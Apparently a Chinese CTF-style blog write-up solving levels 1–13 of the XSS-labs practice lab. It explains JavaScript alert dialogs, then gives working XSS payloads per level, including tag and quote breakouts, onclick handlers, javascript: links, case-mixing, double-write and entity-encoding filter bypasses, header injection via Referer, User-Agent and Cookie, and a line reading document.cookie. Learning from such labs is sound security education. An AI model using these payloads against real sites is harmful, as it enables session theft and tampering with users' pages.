XSS-labs 做题 1~13

XSS-labs 做题 1~13

先了解一下 JavaScript 的几种常用弹窗函数

alert()

是最常用的方法,引发的弹窗只有一个确定按钮,弹窗内容可以是变量也可以是字符串。
alert() 无返回值。

confirm()

对比 alert 函数,比“确定”多了一个“取消”的按钮。有一个返回值,点击确定返回 true ,取消返回 false 。

prompt()

与 confirm 相比,多了一个输入框。
有返回值,按确定,返回值是语句的变量或字符串内容,按取消返回值是 null 。

XSS注入一般语句

<script>alert("xss")</script>       // 弹出引号内的字符
<script>alert(document.cookie)</script>           // 获取 cookie

XSS-labs

在这里插入图片描述

——

level1

在这里插入图片描述
页面除了一张图片,还显示了 payload 的长度。
可以看到 payload 是从 url 中输入,是 get 请求。
直接尝试经典语句:

?name=<script>alert("xss")</script>

成功执行语句
在这里插入图片描述
——
——

level2

有一个输入框,输入框中的内容会在 url 的参数的值中,同样是 get 请求。
先尝试经典语句,但是无法执行。
在这里插入图片描述
F12 查看源代码,可以看到语句放在了 input 标签中,成为了 value 的值,并且在引号内。
在这里插入图片描述

那就在语句前先把标签和引号闭合。
构造语句:

"><script>alert("xss")</script>

成功执行。

——
——

level3

同样先尝试经典语句,无法执行。
在这里插入图片描述
从源代码中,看起来和前面的 level2 一样,
在这里插入图片描述

和第二题一样,尝试用 "> 闭合,但是还是不能执行语句。
并且引号和尖括号被转码了。
在这里插入图片描述

查看根目录的源代码得知,传入的语句通过 htmlspecialchars 函数进行 HTML 实体编码,即会过滤掉大于号和小于号。
在这里插入图片描述
不过 htmlspecialchars 存在一种开发手误,具体原因暂不了解,结果就是导致函数会转换双引号,不转换单引号。
所以,这里使用含单引号的语句:

' οnclick=alert(1) '

传入之后看起来没有什么反应,需要点击一下输入框,才会执行语句。
这个是 onclick 的属性,并且这条语句语句保存下来了,随时回到这个页面不用重新输入,点击输入框都会弹窗。
在这里插入图片描述
——
——

level 4

尝试语句:

<script>alert('XSS')</script>

F12 源码中显示把大于号、小于号给过滤掉了。
在这里插入图片描述
继续用前面的语句,毕竟 onclick 不需要大于号和小于号。
然后因为我们输入的内容是作为 value 的值,在双引号中,所以也需要把双引号给闭合绕过。
构造语句:

" οnclick=alert(1) "

点击输入框,出现弹窗。
在这里插入图片描述
——
——

level 5

尝试输入语句,发现两种语句中,都有一个单词被处理了,用下划线分开了。
在这里插入图片描述
在这里插入图片描述

看看源码。显示对 <script 和 on 进行了处理。那就不使用这两个函数。
在这里插入图片描述
使用 a 标签绕过,前后要先用 "> 和 <"闭合。
构造语句:

"><a href="javascript:alert(/xss/)">alert</a> <"

点击 alert 出现弹窗。
在这里插入图片描述
——
——

level 6

尝试普通的语句,看到有单词被处理了,和前面那题类似。
在这里插入图片描述
看看根目录的源码,对 <script 、on、src 、data 、href 进行了处理。
在这里插入图片描述
继续用前面的语句,
但是要绕过被处理的单词 ,测试后可以用大写绕过,任意大写被处理单词的任意个字母即可绕过。

"><a hRef="javascript:alert(/xss/)">alert</a> <"
" oNclick=alert(1) "

——
——

level 7

尝试简单的语句:

<script>alert('xss')</script>

可以看到大于号和小于号里的 script 直接被过滤为空了。
在这里插入图片描述
可以用双写绕过:

"><a hrhrefef="javascriscriptpt:alert(/xss/)">alert</a> <"
"> <scscriptript>alert('xss')</scriscriptpt> <"
" oonnclick=alert(1) "

看看源码。
在这里插入图片描述
相比前面的 level 6 ,这题多了一个 strtolower() 函数,会把内容统一小写,所以无法大小写绕过。

——
——

level 8

打开页面,输入的内容成为了一个超链接。
这里想到用语句:

javascript:alert(xss)

在这里插入图片描述
尝试注入一个一般语句:

"> <script>alert("xss")</script> <"

发现 script 和 双引号都被处理了。
在这里插入图片描述
看看源码,又多了几个过滤方式。
把用于闭合双引号和大于号、小于号都处理了。
在这里插入图片描述
这里可以用编码绕过。
把语句

 javascript:alert(/xss/) 

进行 Unicode 编码后为:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;

(测试过进行 HTML 实体编码也可行)
在这里插入图片描述
编码能够在页面解析并且后端看不到。

——
——

level 9

还是添加超链接的题型。
尝试和前面输入一样的payload :
javascript:alert(/xss/)

显示传的链接不合法。
在这里插入图片描述

看源码,与前面一题相比,后面多了一个 if 判断语句。
strpos() 函数用于查找某个字符在字符串中的位置,判断这个字符串是否存在。
这里返回给我们 “您的链接不合法?有没有!”,是因为字符串中没有字符串 ‘ http:// ’ 。
在这里插入图片描述

所以要在语句合适的位置插入字符串 http://
构造语句:

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;'http://'&#x29;

解码后为:

javascript:alert('http://')

——
——

level 10

这题需要在 url 的参数里输入内容。
先尝试:

<script>alert('xss')</script>

没有什么反应。F12 看源码有三个隐藏的 标签。
本来语句中的大于号和小于号会被实体编码,但是我这里没有显示,不知道是不是浏览器的问题。
(本来 value 后面还有 ="" ,浏览器问题直接不见了,后面换了个浏览器就正常了)
在这里插入图片描述

看看源码。只有参数 t_sort 是会接收内容的。
在这里插入图片描述
大于号小于号用不了,构造语句:

&t_sort=" οnclick=alert(‘xss’) type=“text”

——
——

level 11

尝试输入前一题的 payload :

&t_sort=" οnclick=alert('xss') type="text"

没有反应,F12看源码,参数 t_sort 无法闭合了,并且比前面一题多了一个参数 t_ref 。
在这里插入图片描述
看看根目录源代码,与前面那题相比,多了一个 referer 请求,前面那题的 t_sort 被 HTML 实体编码了,无法用双引号闭合了。
在这里插入图片描述
用 hackbar 插件发送 referer 请求:

" οnclick=alert(‘xss’) type=“text”

成功执行语句。
在这里插入图片描述
或者也可以利用 burp 抓包修改 referer 信息。

——
——

level 12

直接先看源码吧,多了一个 t_ua 参数,根据前面的做题经验,这题就是通过这个参数来进行 xss 攻击了。
在这里插入图片描述
根目录看源码,有一个 user_agent 请求。
在这里插入图片描述
所以就是通过数据包中的 user_agent 请求发送语句了。
构造语句:

" οnclick=alert('xss') type="text"

在这里插入图片描述
——
——

level 13

F12 看源码,多了参数 t_cook ,这题盲猜就是通过 cookie 输入语句了。
在这里插入图片描述

看根目录源码。是 cookie 没错了。
在这里插入图片描述

根据前面的依葫芦画瓢。
构造语句:

user=" οnclick=alert('xss') type="text"

在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值